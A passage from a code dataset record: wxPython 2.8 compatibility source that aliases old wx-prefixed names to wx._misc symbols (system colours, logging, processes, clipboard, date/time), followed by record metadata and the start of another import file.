wx._misc.SYS_COLOUR_3DLIGHT\nwxSYS_COLOUR_INFOTEXT = wx._misc.SYS_COLOUR_INFOTEXT\nwxSYS_COLOUR_INFOBK = wx._misc.SYS_COLOUR_INFOBK\nwxSYS_COLOUR_LISTBOX = wx._misc.SYS_COLOUR_LISTBOX\nwxSYS_COLOUR_HOTLIGHT = wx._misc.SYS_COLOUR_HOTLIGHT\nwxSYS_COLOUR_GRADIENTACTIVECAPTION = wx._misc.SYS_COLOUR_GRADIENTACTIVECAPTION\nwxSYS_COLOUR_GRADIENTINACTIVECAPTION = wx._misc.SYS_COLOUR_GRADIENTINACTIVECAPTION\nwxSYS_COLOUR_MENUHILIGHT = wx._misc.SYS_COLOUR_MENUHILIGHT\nwxSYS_COLOUR_MENUBAR = wx._misc.SYS_COLOUR_MENUBAR\nwxSYS_COLOUR_MAX = wx._misc.SYS_COLOUR_MAX\nwxSYS_MOUSE_BUTTONS = wx._misc.SYS_MOUSE_BUTTONS\nwxSYS_BORDER_X = wx._misc.SYS_BORDER_X\nwxSYS_BORDER_Y = wx._misc.SYS_BORDER_Y\nwxSYS_CURSOR_X = wx._misc.SYS_CURSOR_X\nwxSYS_CURSOR_Y = wx._misc.SYS_CURSOR_Y\nwxSYS_DCLICK_X = wx._misc.SYS_DCLICK_X\nwxSYS_DCLICK_Y = wx._misc.SYS_DCLICK_Y\nwxSYS_DRAG_X = wx._misc.SYS_DRAG_X\nwxSYS_DRAG_Y = wx._misc.SYS_DRAG_Y\nwxSYS_EDGE_X = wx._misc.SYS_EDGE_X\nwxSYS_EDGE_Y = wx._misc.SYS_EDGE_Y\nwxSYS_HSCROLL_ARROW_X = wx._misc.SYS_HSCROLL_ARROW_X\nwxSYS_HSCROLL_ARROW_Y = wx._misc.SYS_HSCROLL_ARROW_Y\nwxSYS_HTHUMB_X = wx._misc.SYS_HTHUMB_X\nwxSYS_ICON_X = wx._misc.SYS_ICON_X\nwxSYS_ICON_Y = wx._misc.SYS_ICON_Y\nwxSYS_ICONSPACING_X = wx._misc.SYS_ICONSPACING_X\nwxSYS_ICONSPACING_Y = wx._misc.SYS_ICONSPACING_Y\nwxSYS_WINDOWMIN_X = wx._misc.SYS_WINDOWMIN_X\nwxSYS_WINDOWMIN_Y = wx._misc.SYS_WINDOWMIN_Y\nwxSYS_SCREEN_X = wx._misc.SYS_SCREEN_X\nwxSYS_SCREEN_Y = wx._misc.SYS_SCREEN_Y\nwxSYS_FRAMESIZE_X = wx._misc.SYS_FRAMESIZE_X\nwxSYS_FRAMESIZE_Y = wx._misc.SYS_FRAMESIZE_Y\nwxSYS_SMALLICON_X = wx._misc.SYS_SMALLICON_X\nwxSYS_SMALLICON_Y = wx._misc.SYS_SMALLICON_Y\nwxSYS_HSCROLL_Y = wx._misc.SYS_HSCROLL_Y\nwxSYS_VSCROLL_X = wx._misc.SYS_VSCROLL_X\nwxSYS_VSCROLL_ARROW_X = wx._misc.SYS_VSCROLL_ARROW_X\nwxSYS_VSCROLL_ARROW_Y = wx._misc.SYS_VSCROLL_ARROW_Y\nwxSYS_VTHUMB_Y = wx._misc.SYS_VTHUMB_Y\nwxSYS_CAPTION_Y = wx._misc.SYS_CAPTION_Y\nwxSYS_MENU_Y = wx._misc.SYS_MENU_Y\nwxSYS_NETWORK_PRESENT = wx._misc.SYS_NETWORK_PRESENT\nwxSYS_PENWINDOWS_PRESENT = wx._misc.SYS_PENWINDOWS_PRESENT\nwxSYS_SHOW_SOUNDS = wx._misc.SYS_SHOW_SOUNDS\nwxSYS_SWAP_BUTTONS = wx._misc.SYS_SWAP_BUTTONS\nwxSYS_CAN_DRAW_FRAME_DECORATIONS = wx._misc.SYS_CAN_DRAW_FRAME_DECORATIONS\nwxSYS_CAN_ICONIZE_FRAME = wx._misc.SYS_CAN_ICONIZE_FRAME\nwxSYS_TABLET_PRESENT = wx._misc.SYS_TABLET_PRESENT\nwxSYS_SCREEN_NONE = wx._misc.SYS_SCREEN_NONE\nwxSYS_SCREEN_TINY = wx._misc.SYS_SCREEN_TINY\nwxSYS_SCREEN_PDA = wx._misc.SYS_SCREEN_PDA\nwxSYS_SCREEN_SMALL = wx._misc.SYS_SCREEN_SMALL\nwxSYS_SCREEN_DESKTOP = wx._misc.SYS_SCREEN_DESKTOP\nwxSystemSettings = wx._misc.SystemSettings\nwxSystemSettings_GetColour = wx._misc.SystemSettings_GetColour\nwxSystemSettings_GetFont = wx._misc.SystemSettings_GetFont\nwxSystemSettings_GetMetric = wx._misc.SystemSettings_GetMetric\nwxSystemSettings_HasFeature = wx._misc.SystemSettings_HasFeature\nwxSystemSettings_GetScreenType = wx._misc.SystemSettings_GetScreenType\nwxSystemSettings_SetScreenType = wx._misc.SystemSettings_SetScreenType\nwxWINDOW_DEFAULT_VARIANT = wx._misc.WINDOW_DEFAULT_VARIANT\nwxSystemOptions = wx._misc.SystemOptions\nwxSystemOptions_SetOption = wx._misc.SystemOptions_SetOption\nwxSystemOptions_SetOptionInt = wx._misc.SystemOptions_SetOptionInt\nwxSystemOptions_GetOption = wx._misc.SystemOptions_GetOption\nwxSystemOptions_GetOptionInt = wx._misc.SystemOptions_GetOptionInt\nwxSystemOptions_HasOption = wx._misc.SystemOptions_HasOption\nwxSystemOptions_IsFalse = wx._misc.SystemOptions_IsFalse\nwxFileSelectorPromptStr = wx._misc.FileSelectorPromptStr\nwxFileSelectorDefaultWildcardStr = wx._misc.FileSelectorDefaultWildcardStr\nwxDirSelectorPromptStr = wx._misc.DirSelectorPromptStr\nwxNewId = wx._misc.NewId\nwxRegisterId = wx._misc.RegisterId\nwxGetCurrentId = wx._misc.GetCurrentId\nwxIsStockID = wx._misc.IsStockID\nwxIsStockLabel = wx._misc.IsStockLabel\nwxGetStockLabel = wx._misc.GetStockLabel\nwxBell = wx._misc.Bell\nwxEndBusyCursor = wx._misc.EndBusyCursor\nwxGetElapsedTime = wx._misc.GetElapsedTime\nwxIsBusy = wx._misc.IsBusy\nwxNow = wx._misc.Now\nwxShell = wx._misc.Shell\nwxStartTimer = wx._misc.StartTimer\nwxGetOsVersion = wx._misc.GetOsVersion\nwxGetOsDescription = wx._misc.GetOsDescription\nwxGetFreeMemory = wx._misc.GetFreeMemory\nwxSHUTDOWN_POWEROFF = wx._misc.SHUTDOWN_POWEROFF\nwxSHUTDOWN_REBOOT = wx._misc.SHUTDOWN_REBOOT\nwxShutdown = wx._misc.Shutdown\nwxSleep = wx._misc.Sleep\nwxMilliSleep = wx._misc.MilliSleep\nwxMicroSleep = wx._misc.MicroSleep\nwxEnableTopLevelWindows = wx._misc.EnableTopLevelWindows\nwxStripMenuCodes = wx._misc.StripMenuCodes\nwxGetEmailAddress = wx._misc.GetEmailAddress\nwxGetHostName = wx._misc.GetHostName\nwxGetFullHostName = wx._misc.GetFullHostName\nwxGetUserId = wx._misc.GetUserId\nwxGetUserName = wx._misc.GetUserName\nwxGetHomeDir = wx._misc.GetHomeDir\nwxGetUserHome = wx._misc.GetUserHome\nwxGetProcessId = wx._misc.GetProcessId\nwxTrap = wx._misc.Trap\nwxFileSelector = wx._misc.FileSelector\nwxLoadFileSelector = wx._misc.LoadFileSelector\nwxSaveFileSelector = wx._misc.SaveFileSelector\nwxDirSelector = wx._misc.DirSelector\nwxGetTextFromUser = wx._misc.GetTextFromUser\nwxGetPasswordFromUser = wx._misc.GetPasswordFromUser\nwxGetSingleChoice = wx._misc.GetSingleChoice\nwxGetSingleChoiceIndex = wx._misc.GetSingleChoiceIndex\nwxMessageBox = wx._misc.MessageBox\nwxColourDisplay = wx._misc.ColourDisplay\nwxDisplayDepth = wx._misc.DisplayDepth\nwxGetDisplayDepth = wx._misc.GetDisplayDepth\nwxDisplaySize = wx._misc.DisplaySize\nwxGetDisplaySize = wx._misc.GetDisplaySize\nwxDisplaySizeMM = wx._misc.DisplaySizeMM\nwxGetDisplaySizeMM = wx._misc.GetDisplaySizeMM\nwxClientDisplayRect = wx._misc.ClientDisplayRect\nwxGetClientDisplayRect = wx._misc.GetClientDisplayRect\nwxSetCursor = wx._misc.SetCursor\nwxGetXDisplay = wx._misc.GetXDisplay\nwxBeginBusyCursor = wx._misc.BeginBusyCursor\nwxGetMousePosition = wx._misc.GetMousePosition\nFindWindowAtPointer = wx._misc.FindWindowAtPointer\nwxGetActiveWindow = wx._misc.GetActiveWindow\nwxGenericFindWindowAtPoint = wx._misc.GenericFindWindowAtPoint\nwxFindWindowAtPoint = wx._misc.FindWindowAtPoint\nwxGetTopLevelParent = wx._misc.GetTopLevelParent\nwxLaunchDefaultBrowser = wx._misc.LaunchDefaultBrowser\nwxGetKeyState = wx._misc.GetKeyState\nwxMouseState = wx._misc.MouseState\nwxGetMouseState = wx._misc.GetMouseState\nwxWakeUpMainThread = wx._misc.WakeUpMainThread\nwxMutexGuiEnter = wx._misc.MutexGuiEnter\nwxMutexGuiLeave = wx._misc.MutexGuiLeave\nwxMutexGuiLocker = wx._misc.MutexGuiLocker\nwxThread_IsMain = wx._misc.Thread_IsMain\nwxToolTip = wx._misc.ToolTip\nwxToolTip_Enable = wx._misc.ToolTip_Enable\nwxToolTip_SetDelay = wx._misc.ToolTip_SetDelay\nwxCaret = wx._misc.Caret\nwxCaret_GetBlinkTime = wx._misc.Caret_GetBlinkTime\nwxCaret_SetBlinkTime = wx._misc.Caret_SetBlinkTime\nwxBusyCursor = wx._misc.BusyCursor\nwxWindowDisabler = wx._misc.WindowDisabler\nwxBusyInfo = wx._misc.BusyInfo\nwxStopWatch = wx._misc.StopWatch\nwxFileHistory = wx._misc.FileHistory\nwxSingleInstanceChecker = wx._misc.SingleInstanceChecker\nwxPreSingleInstanceChecker = wx._misc.PreSingleInstanceChecker\nwxDrawWindowOnDC = wx._misc.DrawWindowOnDC\nwxTipProvider = wx._misc.TipProvider\nwxPyTipProvider = wx._misc.PyTipProvider\nwxShowTip = wx._misc.ShowTip\nwxCreateFileTipProvider = wx._misc.CreateFileTipProvider\nwxTIMER_CONTINUOUS = wx._misc.TIMER_CONTINUOUS\nwxTIMER_ONE_SHOT = wx._misc.TIMER_ONE_SHOT\nwxEVT_TIMER = wx._misc.wxEVT_TIMER\nwxTimer = wx._misc.Timer\nwxTimer = wx._misc.Timer\nwxTimerEvent = wx._misc.TimerEvent\nwxTimerRunner = wx._misc.TimerRunner\nwxLOG_FatalError = wx._misc.LOG_FatalError\nwxLOG_Error = wx._misc.LOG_Error\nwxLOG_Warning = wx._misc.LOG_Warning\nwxLOG_Message = wx._misc.LOG_Message\nwxLOG_Status = wx._misc.LOG_Status\nwxLOG_Info = wx._misc.LOG_Info\nwxLOG_Debug = wx._misc.LOG_Debug\nwxLOG_Trace = wx._misc.LOG_Trace\nwxLOG_Progress = wx._misc.LOG_Progress\nwxLOG_User = wx._misc.LOG_User\nwxLOG_Max = wx._misc.LOG_Max\nwxTRACE_MemAlloc = wx._misc.TRACE_MemAlloc\nwxTRACE_Messages = wx._misc.TRACE_Messages\nwxTRACE_ResAlloc = wx._misc.TRACE_ResAlloc\nwxTRACE_RefCount = wx._misc.TRACE_RefCount\nwxTRACE_OleCalls = wx._misc.TRACE_OleCalls\nwxTraceMemAlloc = wx._misc.TraceMemAlloc\nwxTraceMessages = wx._misc.TraceMessages\nwxTraceResAlloc = wx._misc.TraceResAlloc\nwxTraceRefCount = wx._misc.TraceRefCount\nwxTraceOleCalls = wx._misc.TraceOleCalls\nwxLog = wx._misc.Log\nwxLog_IsEnabled = wx._misc.Log_IsEnabled\nwxLog_EnableLogging = wx._misc.Log_EnableLogging\nwxLog_OnLog = wx._misc.Log_OnLog\nwxLog_FlushActive = wx._misc.Log_FlushActive\nwxLog_GetActiveTarget = wx._misc.Log_GetActiveTarget\nwxLog_SetActiveTarget = wx._misc.Log_SetActiveTarget\nwxLog_Suspend = wx._misc.Log_Suspend\nwxLog_Resume = wx._misc.Log_Resume\nwxLog_SetVerbose = wx._misc.Log_SetVerbose\nwxLog_SetLogLevel = wx._misc.Log_SetLogLevel\nwxLog_DontCreateOnDemand = wx._misc.Log_DontCreateOnDemand\nwxLog_SetTraceMask = wx._misc.Log_SetTraceMask\nwxLog_AddTraceMask = wx._misc.Log_AddTraceMask\nwxLog_RemoveTraceMask = wx._misc.Log_RemoveTraceMask\nwxLog_ClearTraceMasks = wx._misc.Log_ClearTraceMasks\nwxLog_GetTraceMasks = wx._misc.Log_GetTraceMasks\nwxLog_SetTimestamp = wx._misc.Log_SetTimestamp\nwxLog_GetVerbose = wx._misc.Log_GetVerbose\nwxLog_GetTraceMask = wx._misc.Log_GetTraceMask\nwxLog_IsAllowedTraceMask = wx._misc.Log_IsAllowedTraceMask\nwxLog_GetLogLevel = wx._misc.Log_GetLogLevel\nwxLog_GetTimestamp = wx._misc.Log_GetTimestamp\nwxLog_TimeStamp = wx._misc.Log_TimeStamp\nwxLogStderr = wx._misc.LogStderr\nwxLogTextCtrl = wx._misc.LogTextCtrl\nwxLogGui = wx._misc.LogGui\nwxLogWindow = wx._misc.LogWindow\nwxLogChain = wx._misc.LogChain\nwxLogBuffer = wx._misc.LogBuffer\nwxSysErrorCode = wx._misc.SysErrorCode\nwxSysErrorMsg = wx._misc.SysErrorMsg\nwxLogFatalError = wx._misc.LogFatalError\nwxLogError = wx._misc.LogError\nwxLogWarning = wx._misc.LogWarning\nwxLogMessage = wx._misc.LogMessage\nwxLogInfo = wx._misc.LogInfo\nwxLogDebug = wx._misc.LogDebug\nwxLogVerbose = wx._misc.LogVerbose\nwxLogStatus = wx._misc.LogStatus\nwxLogStatusFrame = wx._misc.LogStatusFrame\nwxLogSysError = wx._misc.LogSysError\nwxLogGeneric = wx._misc.LogGeneric\nwxLogTrace = wx._misc.LogTrace\nwxLogTrace = wx._misc.LogTrace\nwxSafeShowMessage = wx._misc.SafeShowMessage\nwxLogNull = wx._misc.LogNull\nwxPyLog = wx._misc.PyLog\nwxPROCESS_DEFAULT = wx._misc.PROCESS_DEFAULT\nwxPROCESS_REDIRECT = wx._misc.PROCESS_REDIRECT\nwxKILL_OK = wx._misc.KILL_OK\nwxKILL_BAD_SIGNAL = wx._misc.KILL_BAD_SIGNAL\nwxKILL_ACCESS_DENIED = wx._misc.KILL_ACCESS_DENIED\nwxKILL_NO_PROCESS = wx._misc.KILL_NO_PROCESS\nwxKILL_ERROR = wx._misc.KILL_ERROR\nwxKILL_NOCHILDREN = wx._misc.KILL_NOCHILDREN\nwxKILL_CHILDREN = wx._misc.KILL_CHILDREN\nwxSIGNONE = wx._misc.SIGNONE\nwxSIGHUP = wx._misc.SIGHUP\nwxSIGINT = wx._misc.SIGINT\nwxSIGQUIT = wx._misc.SIGQUIT\nwxSIGILL = wx._misc.SIGILL\nwxSIGTRAP = wx._misc.SIGTRAP\nwxSIGABRT = wx._misc.SIGABRT\nwxSIGIOT = wx._misc.SIGIOT\nwxSIGEMT = wx._misc.SIGEMT\nwxSIGFPE = wx._misc.SIGFPE\nwxSIGKILL = wx._misc.SIGKILL\nwxSIGBUS = wx._misc.SIGBUS\nwxSIGSEGV = wx._misc.SIGSEGV\nwxSIGSYS = wx._misc.SIGSYS\nwxSIGPIPE = wx._misc.SIGPIPE\nwxSIGALRM = wx._misc.SIGALRM\nwxSIGTERM = wx._misc.SIGTERM\nwxProcess = wx._misc.Process\nwxProcess_Kill = wx._misc.Process_Kill\nwxProcess_Exists = wx._misc.Process_Exists\nwxProcess_Open = wx._misc.Process_Open\nwxProcess = wx._misc.Process\nwxProcessEvent = wx._misc.ProcessEvent\nwxEVT_END_PROCESS = wx._misc.wxEVT_END_PROCESS\nwxEXEC_ASYNC = wx._misc.EXEC_ASYNC\nwxEXEC_SYNC = wx._misc.EXEC_SYNC\nwxEXEC_NOHIDE = wx._misc.EXEC_NOHIDE\nwxEXEC_MAKE_GROUP_LEADER = wx._misc.EXEC_MAKE_GROUP_LEADER\nwxEXEC_NODISABLE = wx._misc.EXEC_NODISABLE\nwxExecute = wx._misc.Execute\nwxKill = wx._misc.Kill\nwxJOYSTICK1 = wx._misc.JOYSTICK1\nwxJOYSTICK2 = wx._misc.JOYSTICK2\nwxJOY_BUTTON_ANY = wx._misc.JOY_BUTTON_ANY\nwxJOY_BUTTON1 = wx._misc.JOY_BUTTON1\nwxJOY_BUTTON2 = wx._misc.JOY_BUTTON2\nwxJOY_BUTTON3 = wx._misc.JOY_BUTTON3\nwxJOY_BUTTON4 = wx._misc.JOY_BUTTON4\nwxJoystick = wx._misc.Joystick\nwxEVT_JOY_BUTTON_DOWN = wx._misc.wxEVT_JOY_BUTTON_DOWN\nwxEVT_JOY_BUTTON_UP = wx._misc.wxEVT_JOY_BUTTON_UP\nwxEVT_JOY_MOVE = wx._misc.wxEVT_JOY_MOVE\nwxEVT_JOY_ZMOVE = wx._misc.wxEVT_JOY_ZMOVE\nwxJoystickEvent = wx._misc.JoystickEvent\nwxSOUND_SYNC = wx._misc.SOUND_SYNC\nwxSOUND_ASYNC = wx._misc.SOUND_ASYNC\nwxSOUND_LOOP = wx._misc.SOUND_LOOP\nwxSound = wx._misc.Sound\nwxSoundFromData = wx._misc.SoundFromData\nwxSound_PlaySound = wx._misc.Sound_PlaySound\nwxSound_Stop = wx._misc.Sound_Stop\nwxMAILCAP_STANDARD = wx._misc.MAILCAP_STANDARD\nwxMAILCAP_NETSCAPE = wx._misc.MAILCAP_NETSCAPE\nwxMAILCAP_KDE = wx._misc.MAILCAP_KDE\nwxMAILCAP_GNOME = wx._misc.MAILCAP_GNOME\nwxMAILCAP_ALL = wx._misc.MAILCAP_ALL\nwxFileTypeInfo = wx._misc.FileTypeInfo\nwxFileTypeInfoSequence = wx._misc.FileTypeInfoSequence\nwxNullFileTypeInfo = wx._misc.NullFileTypeInfo\nwxFileType = wx._misc.FileType\nwxFileType_ExpandCommand = wx._misc.FileType_ExpandCommand\nwxTheMimeTypesManager = wx._misc.TheMimeTypesManager\nwxMimeTypesManager = wx._misc.MimeTypesManager\nwxMimeTypesManager_IsOfType = wx._misc.MimeTypesManager_IsOfType\nwxART_TOOLBAR = wx._misc.ART_TOOLBAR\nwxART_MENU = wx._misc.ART_MENU\nwxART_FRAME_ICON = wx._misc.ART_FRAME_ICON\nwxART_CMN_DIALOG = wx._misc.ART_CMN_DIALOG\nwxART_HELP_BROWSER = wx._misc.ART_HELP_BROWSER\nwxART_MESSAGE_BOX = wx._misc.ART_MESSAGE_BOX\nwxART_BUTTON = wx._misc.ART_BUTTON\nwxART_OTHER = wx._misc.ART_OTHER\nwxART_ADD_BOOKMARK = wx._misc.ART_ADD_BOOKMARK\nwxART_DEL_BOOKMARK = wx._misc.ART_DEL_BOOKMARK\nwxART_HELP_SIDE_PANEL = wx._misc.ART_HELP_SIDE_PANEL\nwxART_HELP_SETTINGS = wx._misc.ART_HELP_SETTINGS\nwxART_HELP_BOOK = wx._misc.ART_HELP_BOOK\nwxART_HELP_FOLDER = wx._misc.ART_HELP_FOLDER\nwxART_HELP_PAGE = wx._misc.ART_HELP_PAGE\nwxART_GO_BACK = wx._misc.ART_GO_BACK\nwxART_GO_FORWARD = wx._misc.ART_GO_FORWARD\nwxART_GO_UP = wx._misc.ART_GO_UP\nwxART_GO_DOWN = wx._misc.ART_GO_DOWN\nwxART_GO_TO_PARENT = wx._misc.ART_GO_TO_PARENT\nwxART_GO_HOME = wx._misc.ART_GO_HOME\nwxART_FILE_OPEN = wx._misc.ART_FILE_OPEN\nwxART_FILE_SAVE = wx._misc.ART_FILE_SAVE\nwxART_FILE_SAVE_AS = wx._misc.ART_FILE_SAVE_AS\nwxART_PRINT = wx._misc.ART_PRINT\nwxART_HELP = wx._misc.ART_HELP\nwxART_TIP = wx._misc.ART_TIP\nwxART_REPORT_VIEW = wx._misc.ART_REPORT_VIEW\nwxART_LIST_VIEW = wx._misc.ART_LIST_VIEW\nwxART_NEW_DIR = wx._misc.ART_NEW_DIR\nwxART_HARDDISK = wx._misc.ART_HARDDISK\nwxART_FLOPPY = wx._misc.ART_FLOPPY\nwxART_CDROM = wx._misc.ART_CDROM\nwxART_REMOVABLE = wx._misc.ART_REMOVABLE\nwxART_FOLDER = wx._misc.ART_FOLDER\nwxART_FOLDER_OPEN = wx._misc.ART_FOLDER_OPEN\nwxART_GO_DIR_UP = wx._misc.ART_GO_DIR_UP\nwxART_EXECUTABLE_FILE = wx._misc.ART_EXECUTABLE_FILE\nwxART_NORMAL_FILE = wx._misc.ART_NORMAL_FILE\nwxART_TICK_MARK = wx._misc.ART_TICK_MARK\nwxART_CROSS_MARK = wx._misc.ART_CROSS_MARK\nwxART_ERROR = wx._misc.ART_ERROR\nwxART_QUESTION = wx._misc.ART_QUESTION\nwxART_WARNING = wx._misc.ART_WARNING\nwxART_INFORMATION = wx._misc.ART_INFORMATION\nwxART_MISSING_IMAGE = wx._misc.ART_MISSING_IMAGE\nwxART_COPY = wx._misc.ART_COPY\nwxART_CUT = wx._misc.ART_CUT\nwxART_PASTE = wx._misc.ART_PASTE\nwxART_DELETE = wx._misc.ART_DELETE\nwxART_NEW = wx._misc.ART_NEW\nwxART_UNDO = wx._misc.ART_UNDO\nwxART_REDO = wx._misc.ART_REDO\nwxART_QUIT = wx._misc.ART_QUIT\nwxART_FIND = wx._misc.ART_FIND\nwxART_FIND_AND_REPLACE = wx._misc.ART_FIND_AND_REPLACE\nwxArtProvider = wx._misc.ArtProvider\nwxArtProvider = wx._misc.ArtProvider\nwxArtProvider_PushProvider = wx._misc.ArtProvider_Push\nwxArtProvider_PopProvider = wx._misc.ArtProvider_Pop\nwxArtProvider_RemoveProvider = wx._misc.ArtProvider_Delete\nwxArtProvider_GetBitmap = wx._misc.ArtProvider_GetBitmap\nwxArtProvider_GetIcon = wx._misc.ArtProvider_GetIcon\nwxArtProvider_GetSizeHint = wx._misc.ArtProvider_GetSizeHint\nwxCONFIG_USE_LOCAL_FILE = wx._misc.CONFIG_USE_LOCAL_FILE\nwxCONFIG_USE_GLOBAL_FILE = wx._misc.CONFIG_USE_GLOBAL_FILE\nwxCONFIG_USE_RELATIVE_PATH = wx._misc.CONFIG_USE_RELATIVE_PATH\nwxCONFIG_USE_NO_ESCAPE_CHARACTERS = wx._misc.CONFIG_USE_NO_ESCAPE_CHARACTERS\nwxConfigBase = wx._misc.ConfigBase\nwxConfigBase_Set = wx._misc.ConfigBase_Set\nwxConfigBase_Get = wx._misc.ConfigBase_Get\nwxConfigBase_Create = wx._misc.ConfigBase_Create\nwxConfigBase_DontCreateOnDemand = wx._misc.ConfigBase_DontCreateOnDemand\nwxConfig = wx._misc.Config\nwxFileConfig = wx._misc.FileConfig\nwxConfigPathChanger = wx._misc.ConfigPathChanger\nwxExpandEnvVars = wx._misc.ExpandEnvVars\nwxDefaultDateTimeFormat = wx._misc.DefaultDateTimeFormat\nwxDefaultTimeSpanFormat = wx._misc.DefaultTimeSpanFormat\nwxDateTime = wx._misc.DateTime\nwxDateTime_SetCountry = wx._misc.DateTime_SetCountry\nwxDateTime_GetCountry = wx._misc.DateTime_GetCountry\nwxDateTime_IsWestEuropeanCountry = wx._misc.DateTime_IsWestEuropeanCountry\nwxDateTime_GetCurrentYear = wx._misc.DateTime_GetCurrentYear\nwxDateTime_ConvertYearToBC = wx._misc.DateTime_ConvertYearToBC\nwxDateTime_GetCurrentMonth = wx._misc.DateTime_GetCurrentMonth\nwxDateTime_IsLeapYear = wx._misc.DateTime_IsLeapYear\nwxDateTime_GetCentury = wx._misc.DateTime_GetCentury\nwxDateTime_GetNumberOfDaysInMonth = wx._misc.DateTime_GetNumberOfDaysInMonth\nwxDateTime_GetMonthName = wx._misc.DateTime_GetMonthName\nwxDateTime_GetWeekDayName = wx._misc.DateTime_GetWeekDayName\nwxDateTime_GetAmPmStrings = wx._misc.DateTime_GetAmPmStrings\nwxDateTime_IsDSTApplicable = wx._misc.DateTime_IsDSTApplicable\nwxDateTime_GetBeginDST = wx._misc.DateTime_GetBeginDST\nwxDateTime_GetEndDST = wx._misc.DateTime_GetEndDST\nwxDateTime_Now = wx._misc.DateTime_Now\nwxDateTime_UNow = wx._misc.DateTime_UNow\nwxDateTime_Today = wx._misc.DateTime_Today\nwxDateTimeFromTimeT = wx._misc.DateTimeFromTimeT\nwxDateTimeFromJDN = wx._misc.DateTimeFromJDN\nwxDateTimeFromHMS = wx._misc.DateTimeFromHMS\nwxDateTimeFromDMY = wx._misc.DateTimeFromDMY\nwxDateTimeFromDateTime = wx._misc.DateTimeFromDateTime\nwxDateTime_SetToWeekOfYear = wx._misc.DateTime_SetToWeekOfYear\nwxTimeSpan = wx._misc.TimeSpan\nwxTimeSpan_Milliseconds = wx._misc.TimeSpan_Milliseconds\nwxTimeSpan_Millisecond = wx._misc.TimeSpan_Millisecond\nwxTimeSpan_Seconds = wx._misc.TimeSpan_Seconds\nwxTimeSpan_Second = wx._misc.TimeSpan_Second\nwxTimeSpan_Minutes = wx._misc.TimeSpan_Minutes\nwxTimeSpan_Minute = wx._misc.TimeSpan_Minute\nwxTimeSpan_Hours = wx._misc.TimeSpan_Hours\nwxTimeSpan_Hour = wx._misc.TimeSpan_Hour\nwxTimeSpan_Days = wx._misc.TimeSpan_Days\nwxTimeSpan_Day = wx._misc.TimeSpan_Day\nwxTimeSpan_Weeks = wx._misc.TimeSpan_Weeks\nwxTimeSpan_Week = wx._misc.TimeSpan_Week\nwxDateSpan = wx._misc.DateSpan\nwxDateSpan_Days = wx._misc.DateSpan_Days\nwxDateSpan_Day = wx._misc.DateSpan_Day\nwxDateSpan_Weeks = wx._misc.DateSpan_Weeks\nwxDateSpan_Week = wx._misc.DateSpan_Week\nwxDateSpan_Months = wx._misc.DateSpan_Months\nwxDateSpan_Month = wx._misc.DateSpan_Month\nwxDateSpan_Years = wx._misc.DateSpan_Years\nwxDateSpan_Year = wx._misc.DateSpan_Year\nwxGetLocalTime = wx._misc.GetLocalTime\nwxGetUTCTime = wx._misc.GetUTCTime\nwxGetCurrentTime = wx._misc.GetCurrentTime\nwxGetLocalTimeMillis = wx._misc.GetLocalTimeMillis\nwxDefaultDateTime = wx._misc.DefaultDateTime\nwxDF_INVALID = wx._misc.DF_INVALID\nwxDF_TEXT = wx._misc.DF_TEXT\nwxDF_BITMAP = wx._misc.DF_BITMAP\nwxDF_METAFILE = wx._misc.DF_METAFILE\nwxDF_SYLK = wx._misc.DF_SYLK\nwxDF_DIF = wx._misc.DF_DIF\nwxDF_TIFF = wx._misc.DF_TIFF\nwxDF_OEMTEXT = wx._misc.DF_OEMTEXT\nwxDF_DIB = wx._misc.DF_DIB\nwxDF_PALETTE = wx._misc.DF_PALETTE\nwxDF_PENDATA = wx._misc.DF_PENDATA\nwxDF_RIFF = wx._misc.DF_RIFF\nwxDF_WAVE = wx._misc.DF_WAVE\nwxDF_UNICODETEXT = wx._misc.DF_UNICODETEXT\nwxDF_ENHMETAFILE = wx._misc.DF_ENHMETAFILE\nwxDF_FILENAME = wx._misc.DF_FILENAME\nwxDF_LOCALE = wx._misc.DF_LOCALE\nwxDF_PRIVATE = wx._misc.DF_PRIVATE\nwxDF_HTML = wx._misc.DF_HTML\nwxDF_MAX = wx._misc.DF_MAX\nwxDataFormat = wx._misc.DataFormat\nwxCustomDataFormat = wx._misc.CustomDataFormat\nwxFormatInvalid = wx._misc.FormatInvalid\nwxDataObject = wx._misc.DataObject\nwxDataObjectSimple = wx._misc.DataObjectSimple\nwxPyDataObjectSimple = wx._misc.PyDataObjectSimple\nwxDataObjectComposite = wx._misc.DataObjectComposite\nwxTextDataObject = wx._misc.TextDataObject\nwxPyTextDataObject = wx._misc.PyTextDataObject\nwxBitmapDataObject = wx._misc.BitmapDataObject\nwxPyBitmapDataObject = wx._misc.PyBitmapDataObject\nwxFileDataObject = wx._misc.FileDataObject\nwxCustomDataObject = wx._misc.CustomDataObject\nwxURLDataObject = wx._misc.URLDataObject\nwxMetafileDataObject = wx._misc.MetafileDataObject\nwxDrag_CopyOnly = wx._misc.Drag_CopyOnly\nwxDrag_AllowMove = wx._misc.Drag_AllowMove\nwxDrag_DefaultMove = wx._misc.Drag_DefaultMove\nwxDragError = wx._misc.DragError\nwxDragNone = wx._misc.DragNone\nwxDragCopy = wx._misc.DragCopy\nwxDragMove = wx._misc.DragMove\nwxDragLink = wx._misc.DragLink\nwxDragCancel = wx._misc.DragCancel\nwxIsDragResultOk = wx._misc.IsDragResultOk\nwxDropSource = wx._misc.DropSource\nwxDropSource = wx._misc.DropSource\nwxDropTarget = wx._misc.DropTarget\nwxDropTarget = wx._misc.DropTarget\nwxTextDropTarget = wx._misc.TextDropTarget\nwxTextDropTarget = wx._misc.TextDropTarget\nwxFileDropTarget = wx._misc.FileDropTarget\nwxFileDropTarget = wx._misc.FileDropTarget\nwxClipboard = wx._misc.Clipboard\nwxClipboard_Get = wx._misc.Clipboard_Get\nwxClipboardLocker = wx._misc.ClipboardLocker\nwxVideoMode = wx._misc.VideoMode\nwxDefaultVideoMode = wx._misc.DefaultVideoMode\nwxDisplay = wx._misc.Display\nwxDisplay_GetCount = wx._misc.Display_GetCount\nwxDisplay_GetFromPoint = wx._misc.Display_GetFromPoint\nwxDisplay_GetFromWindow = wx._misc.Display_GetFromWindow\nwxStandardPaths = wx._misc.StandardPaths\nwxStandardPaths_Get = wx._misc.StandardPaths_Get\nwxPyTimer = wx._misc.PyTimer\nwxPyDropTarget = wx._misc.PyDropTarget\nwxTheClipboard = wx._misc.TheClipboard\n\n\n", "id": "3412020", "language": "Python", "matching_score": 4.128107070922852, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wxPython/_misc.py" }, { "content": "\n# Load all symbols that should appear in the wxPython.wx namespace\nfrom _core import *\nfrom _core import __version__\nfrom _gdi import *\nfrom _windows import 